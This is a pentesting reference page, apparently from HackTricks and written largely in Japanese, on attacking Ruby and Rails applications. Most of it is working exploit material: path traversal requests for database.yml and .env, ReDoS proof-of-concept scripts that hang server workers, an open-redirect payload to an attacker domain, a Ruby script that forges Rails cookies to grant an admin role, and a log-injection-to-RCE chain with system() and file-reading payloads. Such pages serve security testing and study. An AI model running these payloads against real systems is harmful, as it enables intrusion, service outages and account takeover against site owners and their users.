Ruby Tricks

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

File upload to RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

ヒント:

  • アプリ起動時に実行される他の boot/eager-load の場所も、書き込み可能であれば危険です(例: config/initializers/ が典型例)。任意のファイルアップロードが config/ 配下のどこかに配置され、後で evaluated/required されるような場合、起動時に RCE を得られる可能性があります。
  • Rails が起動時に読み込むコンテナイメージ内にユーザー制御のファイルをコピーする dev/staging ビルドを探してください。

Active Storage image transformation → command execution (CVE-2025-24293)

アプリケーションが Active Storage を image_processing + mini_magick と共に使用し、イメージ変換メソッドに信頼できないパラメータを渡すと、Rails の 7.1.5.2 / 7.2.2.2 / 8.0.2.1 より前のバージョンでは、いくつかの変換メソッドが誤ってデフォルトで許可されていたためコマンドインジェクションを許す可能性があります。

  • A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • テスト中に試すこと

  • variant/processing オプション、変換名、または任意の ImageMagick 引数を受け取るエンドポイントを特定する。

  • params[:t]params[:v] をファズして、怪しいエラーや実行の副作用を確認する。メソッド名に影響を与えたり、MiniMagick に届く生の引数を渡せると、イメージ処理ホストでコード実行を得られる可能性がある。

  • 生成済みの variants に対して読み取りアクセスしかない場合は、作成した ImageMagick 操作を使ってブラインドな情報抜き出しを試みる。

  • 修正 / 検出

  • Active Storage + image_processing + mini_magick を使用し、ユーザー制御の変換が存在する Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 が見つかった場合は、悪用可能と見なす。アップグレードを推奨し、メソッド/パラメータの厳格な allowlist 適用と強化された ImageMagick ポリシーを実施すること。

Rack::Static LFI / path traversal (CVE-2025-27610)

対象のスタックが直接またはフレームワーク経由で Rack ミドルウェアを使用している場合、rack の 2.2.13、3.0.14、3.1.12 より前のバージョンでは、:root が未設定または誤設定されていると Rack::Static による Local File Inclusion を許す可能性があります。PATH_INFO にエンコードされた traversal を含めると、プロセスの作業ディレクトリや予期しない root 配下のファイルが露出することがあります。

  • config.ru やミドルウェアスタックに Rack::Static をマウントしているアプリを探す。静的パスに対してエンコードされた traversal を試す。例えば:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

urls: に設定されたプレフィックスに合わせてパスを調整する。アプリがファイル内容で応答する場合、解決された :root 配下の任意のファイルに対して LFI を得ている可能性が高い。

  • 緩和策: Rack をアップグレードすること。:root は公開ファイルのディレクトリを指すように明示的に設定し、それ以外を指さないようにする。

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 and < 2.2.8.1 は、巧妙に作られた Content-Type: multipart/form-data ヘッダの解析に対して超線形の時間を要していました。巨大な A= パラメータリストを含む単一の POST が Puma/Unicorn のワーカーを占有し、DoS やリクエストキューの枯渇を引き起こす可能性があります。

  • Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Rails/Sinatra/Hanami/Grape など、任意の Rack ベースのスタックに対して有効。nginx/haproxy をフロントに置き keep-alive が有効な場合は、並列で繰り返してワーカーを枯渇させる。
  • パッチはパーサを線形時間に改善することで実装されている。rack gem のバージョンが < 3.0.9.1 または < 2.2.8.1 を探すこと。評価では、このヘッダは構文的に有効なため WAF がブロックすることは稀である点を指摘する。

REXML XML parser ReDoS (CVE-2024-49761)

REXML gem < 3.3.9 (Ruby 3.1 and earlier) は、長い桁の繰り返しを含む16進数の数値文字参照(例: &#1111111111111x41;)を解析する際に致命的なバックトラックを引き起こします。REXML またはそれをラップするライブラリ(SOAP/XML API クライアント、SAML、SVG アップロードなど)で処理される XML は、CPU 枯渇のために悪用され得ます。

XML を解析する Rails エンドポイントに対する最小トリガー例:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.

cgi gem を使用しているアプリ(多くの Rack スタックでデフォルト)は、単一の悪意あるヘッダでフリーズする可能性がある:

  • CGI::Cookie.parse は超線形で、大きな cookie 文字列(区切りが何千個もあるもの)は O(N²) の挙動を引き起こす。
  • CGI::Util#escapeElement の正規表現は HTML エスケープに対する ReDoS を許していた。

両方の問題は cgi 0.3.5.1 / 0.3.7 / 0.4.2 で修正されている。pentests では、巨大な Cookie: ヘッダを投げるか、信頼できない HTML をヘルパーコードに渡してワーカーのロックアップを監視するとよい。keep-alive と組み合わせて影響を増幅させる。

googlesign_in gem < 1.3.0(Google OAuth を Rails で利用するための)は proceedto パラメータに対する same-origin チェックが不完全だった。proceedto=//attacker.com/%2F.. のような不正な URL はチェックを回避し、Rails の flash/session cookies を保持したままユーザを外部サイトにリダイレクトする。

Exploit flow:

  1. 被害者が攻撃者ホストの細工された Google Sign-In リンクをクリックする。
  2. 認証後、gem は攻撃者管理のドメインにリダイレクトし、flash notices やワイルドカードドメインにスコープされた cookies に保存されたデータを leaking する。
  3. アプリが短期間有効なトークンや magic links を flash に保存している場合、これが account takeover に繋がる可能性がある。

テスト時は、Gemfile.lock を grep して googlesign_in < 1.3.0 を探し、proceedto に不正な値を試してみる。Location header と cookie reflection で確認する。

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails は secret_key_base から派生したキーを使って cookies を暗号化および署名する。If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby to decrypt/forge cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
注意:
- 古いアプリでは AES-256-CBC や salts `encrypted cookie` / `signed encrypted cookie`、または JSON/Marshal serializers を使用していることがあります。Adjust salts, cipher, and serializer accordingly.
- 侵害/評価時には、`secret_key_base` をローテートして既存のすべてのクッキーを無効化してください。

## 参照(Ruby/Rails 固有の脆弱性)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

アプリ(多くは単純な Rack/Sinatra/Rails のエンドポイント)が次の両方を満たすとき:
- ユーザーが制御する文字列をそのままログに出力し、
- 後でその同じ文字列から派生したパスのファイルを `load` する(`Pathname#cleanpath` 実行後)、

ログを汚染してからアプリにそのログファイルを `load` させることで、しばしば remote code execution を達成できます。主なポイント:

- Ruby の `load` はターゲットファイルの内容をファイル拡張子に関係なく Ruby として評価します。Ruby として解析される内容を持つ任意の読み取り可能なテキストファイルが実行されます。
- `Pathname#cleanpath` はファイルシステムにアクセスすることなく `.` と `..` セグメントを縮約します。これにより path smuggling が可能になり、ログ用に攻撃者制御の不要な文字列を前置しても、cleanpath により正規化されたパスが意図した実行対象ファイルに解決されることがあります(例: `../logs/error.log`)。

### 最小限の脆弱なパターン
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

ログに有効な Ruby が含まれる理由

Logger は次のようなプレフィックス行を書き込みます:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

Rubyでは、# がコメントの開始を示し、9/2/2025 は単なる算術演算です。有効なRubyコードをinjectするには、次のことが必要です:

  • payload を新しい行から始め、INFO行の # によってコメントアウトされないようにする。先頭に改行(\n または %0A)を送る。
  • INFO行で導入された宙ぶらりんの [ を閉じる。一般的なトリックは ] で始め、必要に応じてパーサを満足させるために ][0]=1 を付け加えることです。
  • その後、任意のRubyコード(例: system(...))を置く。

Example of what will end up in the log after one request with a crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

コードをログに書き込みつつログパスに解決される単一の文字列の注入

We want one attacker-controlled string that:

  • ログに生のまま記録された場合に、Ruby payload を含むこと、 and
  • Pathname.new(<input>).cleanpath を通すと ../logs/error.log に解決され、後続の load が直前に汚染したログファイルを実行すること。

Pathname#cleanpath はスキームを無視し、パス中のトラバーサル要素(../ など)を折りたたむため、次のように動作します:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • # の前の :// により、ログが実行されるときに Ruby は末尾を無視し、cleanpath はそれでも接尾辞を ../logs/error.log に短縮します。
  • 先頭の改行は INFO 行を抜け出させ、] がぶら下がった括弧を閉じ、][0]=1 がパーサを満足させます。

End-to-end exploitation

  1. バックアップスクリプト名として次の文字列を送信する(必要なら最初の改行を URL-encode して %0A にしてください):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. アプリはあなたの生の文字列を logs/error.log にログとして記録します。
  2. アプリは cleanpath を計算し、それが ../logs/error.log に解決され、load を呼び出します。
  3. Ruby はログに注入したコードを実行します。

CTF-like 環境でファイルを exfiltrate するには:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (先頭の文字は改行):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする